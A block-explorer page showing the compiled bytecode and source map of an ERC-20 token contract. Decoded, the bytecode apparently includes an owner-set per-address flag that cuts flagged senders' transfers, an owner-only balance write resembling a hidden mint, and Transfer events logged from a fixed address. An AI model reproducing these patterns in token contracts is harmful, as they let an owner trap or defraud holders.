5092915050565b6107fb610b0c565b73ffffffffffffffffffffffffffffffffffffffff16610819610ae3565b73ffffffffffffffffffffffffffffffffffffffff161461086f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108669061177e565b60405180910390fd5b61dead73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f806e8b381f563afee8716b997c43301abcc7a93afae0a100b99f3a9f455d441160405160405180910390a361dead6000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6000600b60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b610a14610b0c565b73ffffffffffffffffffffffffffffffffffffffff16610a32610ae3565b73ffffffffffffffffffffffffffffffffffffffff1614610a88576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a7f9061177e565b60405180910390fd5b6001600b60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610b83576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b7a90611881565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610bf2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610be990611913565b60405180910390fd5b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610cd09190611515565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610d4c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d43906119a5565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610dbb576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610db290611a37565b60405180910390fd5b600115610e335760011515600b60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151503610e3257610e2f600754826111ba90919063ffffffff16565b90505b5b6000600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015610eba576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610eb190611ac9565b60405180910390fd5b6000610ee46064610ed66009548661120490919063ffffffff16565b61117090919063ffffffff16565b9050610f3883600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546111ba90919063ffffffff16565b600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508083600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610fc79190611ae9565b610fd19190611b1d565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516110939190611515565b60405180910390a38373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83866110f69190611b1d565b6040516111039190611515565b60405180910390a35050505050565b60008082846111219190611ae9565b905083811015611166576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161115d90611b9d565b60405180910390fd5b8091505092915050565b60006111b283836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061127e565b905092915050565b60006111fc83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506112e1565b905092915050565b60008083036112165760009050611278565b6000828461122491906117cd565b90508284826112339190611bec565b14611273576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161126a90611c8f565b60405180910390fd5b809150505b92915050565b600080831182906112c5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112bc91906113d5565b60405180910390fd5b50600083856112d49190611bec565b9050809150509392505050565b6000838311158290611329576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161132091906113d5565b60405180910390fd5b50600083856113389190611b1d565b9050809150509392505050565b600081519050919050565b600082825260208201905092915050565b60005b8381101561137f578082015181840152602081019050611364565b60008484015250505050565b6000601f19601f8301169050919050565b60006113a782611345565b6113b18185611350565b93506113c1818560208601611361565b6113ca8161138b565b840191505092915050565b600060208201905081810360008301526113ef818461139c565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000611427826113fc565b9050919050565b6114378161141c565b811461144257600080fd5b50565b6000813590506114548161142e565b92915050565b6000819050919050565b61146d8161145a565b811461147857600080fd5b50565b60008135905061148a81611464565b92915050565b600080604083850312156114a7576114a66113f7565b5b60006114b585828601611445565b92505060206114c68582860161147b565b9150509250929050565b60008115159050919050565b6114e5816114d0565b82525050565b600060208201905061150060008301846114dc565b92915050565b61150f8161145a565b82525050565b600060208201905061152a6000830184611506565b92915050565b600080600060608486031215611549576115486113f7565b5b600061155786828701611445565b935050602061156886828701611445565b92505060406115798682870161147b565b9150509250925092565b600060208284031215611599576115986113f7565b5b60006115a784828501611445565b91505092915050565b600080604083850312156115c7576115c66113f7565b5b60006115d585828601611445565b92505060206115e685828601611445565b9150509250929050565b6115f98161141c565b82525050565b600060208201905061161460008301846115f0565b92915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168061166157607f821691505b6020821081036116745761167361161a565b5b50919050565b7f4945524332303a207472616e7366657220616d6f756e7420657863656564732060008201527f616c6c6f77616e63650000000000000000000000000000000000000000000000602082015250565b60006116d6602983611350565b91506116e18261167a565b604082019050919050565b60006020820190508181036000830152611705816116c9565b9050919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f6f776e6560008201527f7200000000000000000000000000000000000000000000000000000000000000602082015250565b6000611768602183611350565b91506117738261170c565b604082019050919050565b600060208201905081810360008301526117978161175b565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60006117d88261145a565b91506117e38361145a565b92508282026117f18161145a565b915082820484148315176118085761180761179e565b5b5092915050565b7f4945524332303a20617070726f76652066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b600061186b602583611350565b91506118768261180f565b604082019050919050565b6000602082019050818103600083015261189a8161185e565b9050919050565b7f4945524332303a20617070726f766520746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b60006118fd602383611350565b9150611908826118a1565b604082019050919050565b6000602082019050818103600083015261192c816118f0565b9050919050565b7f4945524332303a207472616e736665722066726f6d20746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b600061198f602683611350565b915061199a82611933565b604082019050919050565b600060208201905081810360008301526119be81611982565b9050919050565b7f4945524332303a207472616e7366657220746f20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000611a21602483611350565b9150611a2c826119c5565b604082019050919050565b60006020820190508181036000830152611a5081611a14565b9050919050565b7f4945524332303a207472616e7366657220616d6f756e7473206578636565647360008201527f2062616c616e6365000000000000000000000000000000000000000000000000602082015250565b6000611ab3602883611350565b9150611abe82611a57565b604082019050919050565b60006020820190508181036000830152611ae281611aa6565b9050919050565b6000611af48261145a565b9150611aff8361145a565b9250828201905080821115611b1757611b1661179e565b5b92915050565b6000611b288261145a565b9150611b338361145a565b9250828203905081811115611b4b57611b4a61179e565b5b92915050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b6000611b87601b83611350565b9150611b9282611b51565b602082019050919050565b60006020820190508181036000830152611bb681611b7a565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000611bf78261145a565b9150611c028361145a565b925082611c1257611c11611bbd565b5b828204905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b6000611c79602183611350565b9150611c8482611c1d565b604082019050919050565b60006020820190508181036000830152611ca881611c6c565b905091905056fea2646970667358221220a8afbe1b4e6c4ea3224e0611f7696cb803a8b7a1989be112494c75f5c0def36564736f6c63430008110033

Deployed Bytecode Sourcemap

3812:4045:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5013:85;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6805:169;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5298:102;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7501:351;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5203:87;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6679:118;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4440:43;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4601:101;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;5106:89;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6301:366;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3568:235;;;:::i;:::-;;7340:153;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4712:105;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4492:99;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;3344:89;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5013:85;5052:13;5085:5;5078:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5013:85;:::o;6805:169::-;6888:4;6905:39;6914:12;:10;:12::i;:::-;6928:7;6937:6;6905:8;:39::i;:::-;6962:4;6955:11;;6805:169;;;;:::o;5298:102::-;5353:7;5380:12;;5373:19;;5298:102;:::o;7501:351::-;7607:4;7624:36;7634:6;7642:9;7653:6;7624:9;:36::i;:::-;7671:24;7698:11;:19;7710:6;7698:19;;;;;;;;;;;;;;;:33;7718:12;:10;:12::i;:::-;7698:33;;;;;;;;;;;;;;;;7671:60;;7770:6;7750:16;:26;;7742:80;;;;;;;;;;;;:::i;:::-;;;;;;;;;7840:4;7833:11;;;7501:351;;;;;:::o;5203:87::-;5246:7;5273:9;;5266:16;;5203:87;:::o;6679:118::-;6745:7;6772:8;:17;6781:7;6772:17;;;;;;;;;;;;;;;;6765:24;;6679:118;;;:::o;4440:43::-;;;;;;;;;;;;;;;;;;;;;;:::o;4601:101::-;3492:12;:10;:12::i;:::-;3480:24;;:8;:6;:8::i;:::-;:24;;;3472:70;;;;;;;;;;;;:::i;:::-;;;;;;;;;4689:5:::1;4666:11;:20;4678:7;4666:20;;;;;;;;;;;;;;;;:28;;;;;;;;;;;;;;;;;;4601:101:::0;:::o;5106:89::-;5147:13;5180:7;5173:14;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5106:89;:::o;6301:366::-;6387:4;6404:14;6421:12;:10;:12::i;:::-;6404:29;;6461:6;6449:18;;:8;:6;:8::i;:::-;:18;;;:43;;;;;6483:9;6471:21;;:8;:6;:8::i;:::-;:21;;;6449:43;6445:146;;;6537:41;6576:1;6537:34;6558:12;;6537:8;:16;6546:6;6537:16;;;;;;;;;;;;;;;;:20;;:34;;;;:::i;:::-;:38;;:41;;;;:::i;:::-;6525:11;:53;;;;:::i;:::-;6506:8;:16;6515:6;6506:16;;;;;;;;;;;;;;;:72;;;;6445:146;6601:36;6611:6;6619:9;6630:6;6601:9;:36::i;:::-;6655:4;6648:11;;;6301:366;;;;:::o;3568:235::-;3492:12;:10;:12::i;:::-;3480:24;;:8;:6;:8::i;:::-;:24;;;3472:70;;;;;;;;;;;;:::i;:::-;;;;;;;;;3679:42:::1;3640:83;;3662:7;::::0;::::1;;;;;;;;3640:83;;;;;;;;;;;;3752:42;3734:7;::::0;:61:::1;;;;;;;;;;;;;;;;;;3568:235::o:0;7340:153::-;7430:7;7457:11;:19;7469:6;7457:19;;;;;;;;;;;;;;;:28;7477:7;7457:28;;;;;;;;;;;;;;;;7450:35;;7340:153;;;;:::o;4712:105::-;4765:4;4789:11;:20;4801:7;4789:20;;;;;;;;;;;;;;;;;;;;;;;;;4782:27;;4712:105;;;:::o;4492:99::-;3492:12;:10;:12::i;:::-;3480:24;;:8;:6;:8::i;:::-;:24;;;3472:70;;;;;;;;;;;;:::i;:::-;;;;;;;;;4579:4:::1;4556:11;:20;4568:7;4556:20;;;;;;;;;;;;;;;;:27;;;;;;;;;;;;;;;;;;4492:99:::0;:::o;3344:89::-;3391:7;3418;;;;;;;;;;;3411:14;;3344:89;:::o;1080:115::-;1133:15;1176:10;1161:26;;1080:115;:::o;6982:350::-;7103:1;7085:20;;:6;:20;;;7077:70;;;;;;;;;;;;:::i;:::-;;;;;;;;;7185:1;7166:21;;:7;:21;;;7158:69;;;;;;;;;;;;:::i;:::-;;;;;;;;;7269:6;7238:11;:19;7250:6;7238:19;;;;;;;;;;;;;;;:28;7258:7;7238:28;;;;;;;;;;;;;;;:37;;;;7308:7;7291:33;;7300:6;7291:33;;;7317:6;7291:33;;;;;;:::i;:::-;;;;;;;;6982:350;;;:::o;5408:885::-;5535:1;5517:20;;:6;:20;;;5509:71;;;;;;;;;;;;:::i;:::-;;;;;;;;;5620:1;5599:23;;:9;:23;;;5591:72;;;;;;;;;;;;:::i;:::-;;;;;;;;;5678:4;5674:138;;;5725:4;5702:27;;:11;:19;5714:6;5702:19;;;;;;;;;;;;;;;;;;;;;;;;;:27;;;5698:103;;5760:25;5772:12;;5760:7;:11;;:25;;;;:::i;:::-;5750:35;;5698:103;5674:138;5822:16;5841:8;:16;5850:6;5841:16;;;;;;;;;;;;;;;;5822:35;;5888:7;5876:8;:19;;5868:71;;;;;;;;;;;;:::i;:::-;;;;;;;;;5960:17;6004:30;6030:3;6004:21;6016:8;;6004:7;:11;;:21;;;;:::i;:::-;:25;;:30;;;;:::i;:::-;5992:42;;6064:29;6085:7;6064:8;:16;6073:6;6064:16;;;;;;;;;;;;;;;;:20;;:29;;;;:::i;:::-;6045:8;:16;6054:6;6045:16;;;;;;;;;;;;;;;:48;;;;6155:9;6147:7;6127:8;:19;6136:9;6127:19;;;;;;;;;;;;;;;;:27;;;;:::i;:::-;:37;;;;:::i;:::-;6104:8;:19;6113:9;6104:19;;;;;;;;;;;;;;;:60;;;;6197:12;;;;;;;;;;;6180:41;;6189:6;6180:41;;;6211:9;6180:41;;;;;;:::i;:::-;;;;;;;;6254:9;6237:46;;6246:6;6237:46;;;6273:9;6265:7;:17;;;;:::i;:::-;6237:46;;;;;;:::i;:::-;;;;;;;;5496:797;;5408:885;;;:::o;1469:181::-;1527:7;1547:9;1563:1;1559;:5;;;;:::i;:::-;1547:17;;1588:1;1583;:6;;1575:46;;;;;;;;;;;;:::i;:::-;;;;;;;;;1641:1;1634:8;;;1469:181;;;;:::o;2300:132::-;2358:7;2385:39;2389:1;2392;2385:39;;;;;;;;;;;;;;;;;:3;:39::i;:::-;2378:46;;2300:132;;;;:::o;1658:136::-;1716:7;1743:43;1747:1;1750;1743:43;;;;;;;;;;;;;;;;;:3;:43::i;:::-;1736:50;;1658:136;;;;:::o;2040:252::-;2098:7;2129:1;2124;:6;2120:47;;2154:1;2147:8;;;;2120:47;2179:9;2195:1;2191;:5;;;;:::i;:::-;2179:17;;2224:1;2219;2215;:5;;;;:::i;:::-;:10;2207:56;;;;;;;;;;;;:::i;:::-;;;;;;;;;2283:1;2276:8;;;2040:252;;;;;:::o;2440:227::-;2560:7;2592:1;2588;:5;2595:12;2580:28;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;2619:9;2635:1;2631;:5;;;;:::i;:::-;2619:17;;2658:1;2651:8;;;2440:227;;;;;:::o;1802:226::-;1922:7;1955:1;1950;:6;;1958:12;1942:29;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;1982:9;1998:1;1994;:5;;;;:::i;:::-;1982:17;;2019:1;2012:8;;;1802:226;;;;;:::o;7:99:1:-;59:6;93:5;87:12;77:22;;7:99;;;:::o;112:169::-;196:11;230:6;225:3;218:19;270:4;265:3;261:14;246:29;;112:169;;;;:::o;287:246::-;368:1;378:113;392:6;389:1;386:13;378:113;;;477:1;472:3;468:11;462:18;458:1;453:3;449:11;442:39;414:2;411:1;407:10;402:15;;378:113;;;525:1;516:6;511:3;507:16;500:27;349:184;287:246;;;:::o;539:102::-;580:6;631:2;627:7;622:2;615:5;611:14;607:28;597:38;;539:102;;;:::o;647:377::-;735:3;763:39;796:5;763:39;:::i;:::-;818:71;882:6;877:3;818:71;:::i;:::-;811:78;;898:65;956:6;951:3;944:4;937:5;933:16;898:65;:::i;:::-;988:29;1010:6;988:29;:::i;:::-;983:3;979:39;972:46;;739:285;647:377;;;;:::o;1030:313::-;1143:4;1181:2;1170:9;1166:18;1158:26;;1230:9;1224:4;1220:20;1216:1;1205:9;1201:17;1194:47;1258:78;1331:4;1322:6;1258:78;:::i;:::-;1250:86;;1030:313;;;;:::o;1430:117::-;1539:1;1536;1529:12;1676:126;1713:7;1753:42;1746:5;1742:54;1731:65;;1676:126;;;:::o;1808:96::-;1845:7;1874:24;1892:5;1874:24;:::i;:::-;1863:35;;1808:96;;;:::o;1910:122::-;1983:24;2001:5;1983:24;:::i;:::-;1976:5;1973:35;1963:63;;2022:1;2019;2012:12;1963:63;1910:122;:::o;2038:139::-;2084:5;2122:6;2109:20;2100:29;;2138:33;2165:5;2138:33;:::i;:::-;2038:139;;;;:::o;2183:77::-;2220:7;2249:5;2238:16;;2183:77;;;:::o;2266:122::-;2339:24;2357:5;2339:24;:::i;:::-;2332:5;2329:35;2319:63;;2378:1;2375;2368:12;2319:63;2266:122;:::o;2394:139::-;2440:5;2478:6;2465:20;2456:29;;2494:33;2521:5;2494:33;:::i;:::-;2394:139;;;;:::o;2539:474::-;2607:6;2615;2664:2;2652:9;2643:7;2639:23;2635:32;2632:119;;;2670:79;;:::i;:::-;2632:119;2790:1;2815:53;2860:7;2851:6;2840:9;2836:22;2815:53;:::i;:::-;2805:63;;2761:117;2917:2;2943:53;2988:7;2979:6;2968:9;2964:22;2943:53;:::i;:::-;2933:63;;2888:118;2539:474;;;;;:::o;3019:90::-;3053:7;3096:5;3089:13;3082:21;3071:32;;3019:90;;;:::o;3115:109::-;3196:21;3211:5;3196:21;:::i;:::-;3191:3;3184:34;3115:109;;:::o;3230:210::-;3317:4;3355:2;3344:9;3340:18;3332:26;;3368:65;3430:1;3419:9;3415:17;3406:6;3368:65;:::i;:::-;3230:210;;;;:::o;3446:118::-;3533:24;3551:5;3533:24;:::i;:::-;3528:3;3521:37;3446:118;;:::o;3570:222::-;3663:4;3701:2;3690:9;3686:18;3678:26;;3714:71;3782:1;3771:9;3767:17;3758:6;3714:71;:::i;:::-;3570:222;;;;:::o;3798:619::-;3875:6;3883;3891;3940:2;3928:9;3919:7;3915:23;3911:32;3908:119;;;3946:79;;:::i;:::-;3908:119;4066:1;4091:53;4136:7;4127:6;4116:9;4112:22;4091:53;:::i;:::-;4081:63;;4037:117;4193:2;4219:53;4264:7;4255:6;4244:9;4240:22;4219:53;:::i;:::-;4209:63;;4164:118;4321:2;4347:53;4392:7;4383:6;4372:9;4368:22;4347:53;:::i;:::-;4337:63;;4292:118;3798:619;;;;;:::o;4423:329::-;4482:6;4531:2;4519:9;4510:7;4506:23;4502:32;4499:119;;;4537:79;;:::i;:::-;4499:119;4657:1;4682:53;4727:7;4718:6;4707:9;4703:22;4682:53;:::i;:::-;4672:63;;4628:117;4423:329;;;;:::o;4758:474::-;4826:6;4834;4883:2;4871:9;4862:7;4858:23;4854:32;4851:119;;;4889:79;;:::i;:::-;4851:119;5009:1;5034:53;5079:7;5070:6;5059:9;5055:22;5034:53;:::i;:::-;5024:63;;4980:117;5136:2;5162:53;5207:7;5198:6;5187:9;5183:22;5162:53;:::i;:::-;5152:63;;5107:118;4758:474;;;;;:::o;5238:118::-;5325:24;5343:5;5325:24;:::i;:::-;5320:3;5313:37;5238:118;;:::o;5362:222::-;5455:4;5493:2;5482:9;5478:18;5470:26;;5506:71;5574:1;5563:9;5559:17;5550:6;5506:71;:::i;:::-;5362:222;;;;:::o;5590:180::-;5638:77;5635:1;5628:88;5735:4;5732:1;5725:15;5759:4;5756:1;5749:15;5776:320;5820:6;5857:1;5851:4;5847:12;5837:22;;5904:1;5898:4;5894:12;5925:18;5915:81;;5981:4;5973:6;5969:17;5959:27;;5915:81;6043:2;6035:6;6032:14;6012:18;6009:38;6006:84;;6062:18;;:::i;:::-;6006:84;5827:269;5776:320;;;:::o;6102:228::-;6242:34;6238:1;6230:6;6226:14;6219:58;6311:11;6306:2;6298:6;6294:15;6287:36;6102:228;:::o;6336:366::-;6478:3;6499:67;6563:2;6558:3;6499:67;:::i;:::-;6492:74;;6575:93;6664:3;6575:93;:::i;:::-;6693:2;6688:3;6684:12;6677:19;;6336:366;;;:::o;6708:419::-;6874:4;6912:2;6901:9;6897:18;6889:26;;6961:9;6955:4;6951:20;6947:1;6936:9;6932:17;6925:47;6989:131;7115:4;6989:131;:::i;:::-;6981:139;;6708:419;;;:::o;7133:220::-;7273:34;7269:1;7261:6;7257:14;7250:58;7342:3;7337:2;7329:6;7325:15;7318:28;7133:220;:::o;7359:366::-;7501:3;7522:67;7586:2;7581:3;7522:67;:::i;:::-;7515:74;;7598:93;7687:3;7598:93;:::i;:::-;7716:2;7711:3;7707:12;7700:19;;7359:366;;;:::o;7731:419::-;7897:4;7935:2;7924:9;7920:18;7912:26;;7984:9;7978:4;7974:20;7970:1;7959:9;7955:17;7948:47;8012:131;8138:4;8012:131;:::i;:::-;8004:139;;7731:419;;;:::o;8156:180::-;8204:77;8201:1;8194:88;8301:4;8298:1;8291:15;8325:4;8322:1;8315:15;8342:410;8382:7;8405:20;8423:1;8405:20;:::i;:::-;8400:25;;8439:20;8457:1;8439:20;:::i;:::-;8434:25;;8494:1;8491;8487:9;8516:30;8534:11;8516:30;:::i;:::-;8505:41;;8695:1;8686:7;8682:15;8679:1;8676:22;8656:1;8649:9;8629:83;8606:139;;8725:18;;:::i;:::-;8606:139;8390:362;8342:410;;;;:::o;8758:224::-;8898:34;8894:1;8886:6;8882:14;8875:58;8967:7;8962:2;8954:6;8950:15;8943:32;8758:224;:::o;8988:366::-;9130:3;9151:67;9215:2;9210:3;9151:67;:::i;:::-;9144:74;;9227:93;9316:3;9227:93;:::i;:::-;9345:2;9340:3;9336:12;9329:19;;8988:366;;;:::o;9360:419::-;9526:4;9564:2;9553:9;9549:18;9541:26;;9613:9;9607:4;9603:20;9599:1;9588:9;9584:17;9577:47;9641:131;9767:4;9641:131;:::i;:::-;9633:139;;9360:419;;;:::o;9785:222::-;9925:34;9921:1;9913:6;9909:14;9902:58;9994:5;9989:2;9981:6;9977:15;9970:30;9785:222;:::o;10013:366::-;10155:3;10176:67;10240:2;10235:3;10176:67;:::i;:::-;10169:74;;10252:93;10341:3;10252:93;:::i;:::-;10370:2;10365:3;10361:12;10354:19;;10013:366;;;:::o;10385:419::-;10551:4;10589:2;10578:9;10574:18;10566:26;;10638:9;10632:4;10628:20;10624:1;10613:9;10609:17;10602:47;10666:131;10792:4;10666:131;:::i;:::-;10658:139;;10385:419;;;:::o;10810:225::-;10950:34;10946:1;10938:6;10934:14;10927:58;11019:8;11014:2;11006:6;11002:15;10995:33;10810:225;:::o;11041:366::-;11183:3;11204:67;11268:2;11263:3;11204:67;:::i;:::-;11197:74;;11280:93;11369:3;11280:93;:::i;:::-;11398:2;11393:3;11389:12;11382:19;;11041:366;;;:::o;11413:419::-;11579:4;11617:2;11606:9;11602:18;11594:26;;11666:9;11660:4;11656:20;11652:1;11641:9;11637:17;11630:47;11694:131;11820:4;11694:131;:::i;:::-;11686:139;;11413:419;;;:::o;11838:223::-;11978:34;11974:1;11966:6;11962:14;11955:58;12047:6;12042:2;12034:6;12030:15;12023:31;11838:223;:::o;12067:366::-;12209:3;12230:67;12294:2;12289:3;12230:67;:::i;:::-;12223:74;;12306:93;12395:3;12306:93;:::i;:::-;12424:2;12419:3;12415:12;12408:19;;12067:366;;;:::o;12439:419::-;12605:4;12643:2;12632:9;12628:18;12620:26;;12692:9;12686:4;12682:20;12678:1;12667:9;12663:17;12656:47;12720:131;12846:4;12720:131;:::i;:::-;12712:139;;12439:419;;;:::o;12864:227::-;13004:34;13000:1;12992:6;12988:14;12981:58;13073:10;13068:2;13060:6;13056:15;13049:35;12864:227;:::o;13097:366::-;13239:3;13260:67;13324:2;13319:3;13260:67;:::i;:::-;13253:74;;13336:93;13425:3;13336:93;:::i;:::-;13454:2;13449:3;13445:12;13438:19;;13097:366;;;:::o;13469:419::-;13635:4;13673:2;13662:9;13658:18;13650:26;;13722:9;13716:4;13712:20;13708:1;13697:9;13693:17;13686:47;13750:131;13876:4;13750:131;:::i;:::-;13742:139;;13469:419;;;:::o;13894:191::-;13934:3;13953:20;13971:1;13953:20;:::i;:::-;13948:25;;13987:20;14005:1;13987:20;:::i;:::-;13982:25;;14030:1;14027;14023:9;14016:16;;14051:3;14048:1;14045:10;14042:36;;;14058:18;;:::i;:::-;14042:36;13894:191;;;;:::o;14091:194::-;14131:4;14151:20;14169:1;14151:20;:::i;:::-;14146:25;;14185:20;14203:1;14185:20;:::i;:::-;14180:25;;14229:1;14226;14222:9;14214:17;;14253:1;14247:4;14244:11;14241:37;;;14258:18;;:::i;:::-;14241:37;14091:194;;;;:::o;14291:177::-;14431:29;14427:1;14419:6;14415:14;14408:53;14291:177;:::o;14474:366::-;14616:3;14637:67;14701:2;14696:3;14637:67;:::i;:::-;14630:74;;14713:93;14802:3;14713:93;:::i;:::-;14831:2;14826:3;14822:12;14815:19;;14474:366;;;:::o;14846:419::-;15012:4;15050:2;15039:9;15035:18;15027:26;;15099:9;15093:4;15089:20;15085:1;15074:9;15070:17;15063:47;15127:131;15253:4;15127:131;:::i;:::-;15119:139;;14846:419;;;:::o;15271:180::-;15319:77;15316:1;15309:88;15416:4;15413:1;15406:15;15440:4;15437:1;15430:15;15457:185;15497:1;15514:20;15532:1;15514:20;:::i;:::-;15509:25;;15548:20;15566:1;15548:20;:::i;:::-;15543:25;;15587:1;15577:35;;15592:18;;:::i;:::-;15577:35;15634:1;15631;15627:9;15622:14;;15457:185;;;;:::o;15648:220::-;15788:34;15784:1;15776:6;15772:14;15765:58;15857:3;15852:2;15844:6;15840:15;15833:28;15648:220;:::o;15874:366::-;16016:3;16037:67;16101:2;16096:3;16037:67;:::i;:::-;16030:74;;16113:93;16202:3;16113:93;:::i;:::-;16231:2;16226:3;16222:12;16215:19;;15874:366;;;:::o;16246:419::-;16412:4;16450:2;16439:9;16435:18;16427:26;;16499:9;16493:4;16489:20;16485:1;16474:9;16470:17;16463:47;16527:131;16653:4;16527:131;:::i;:::-;16519:139;;16246:419;;;:::o

Swarm Source

ipfs://a8afbe1b4e6c4ea3224e0611f7696cb803a8b7a1989be112494c75f5c0def365
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.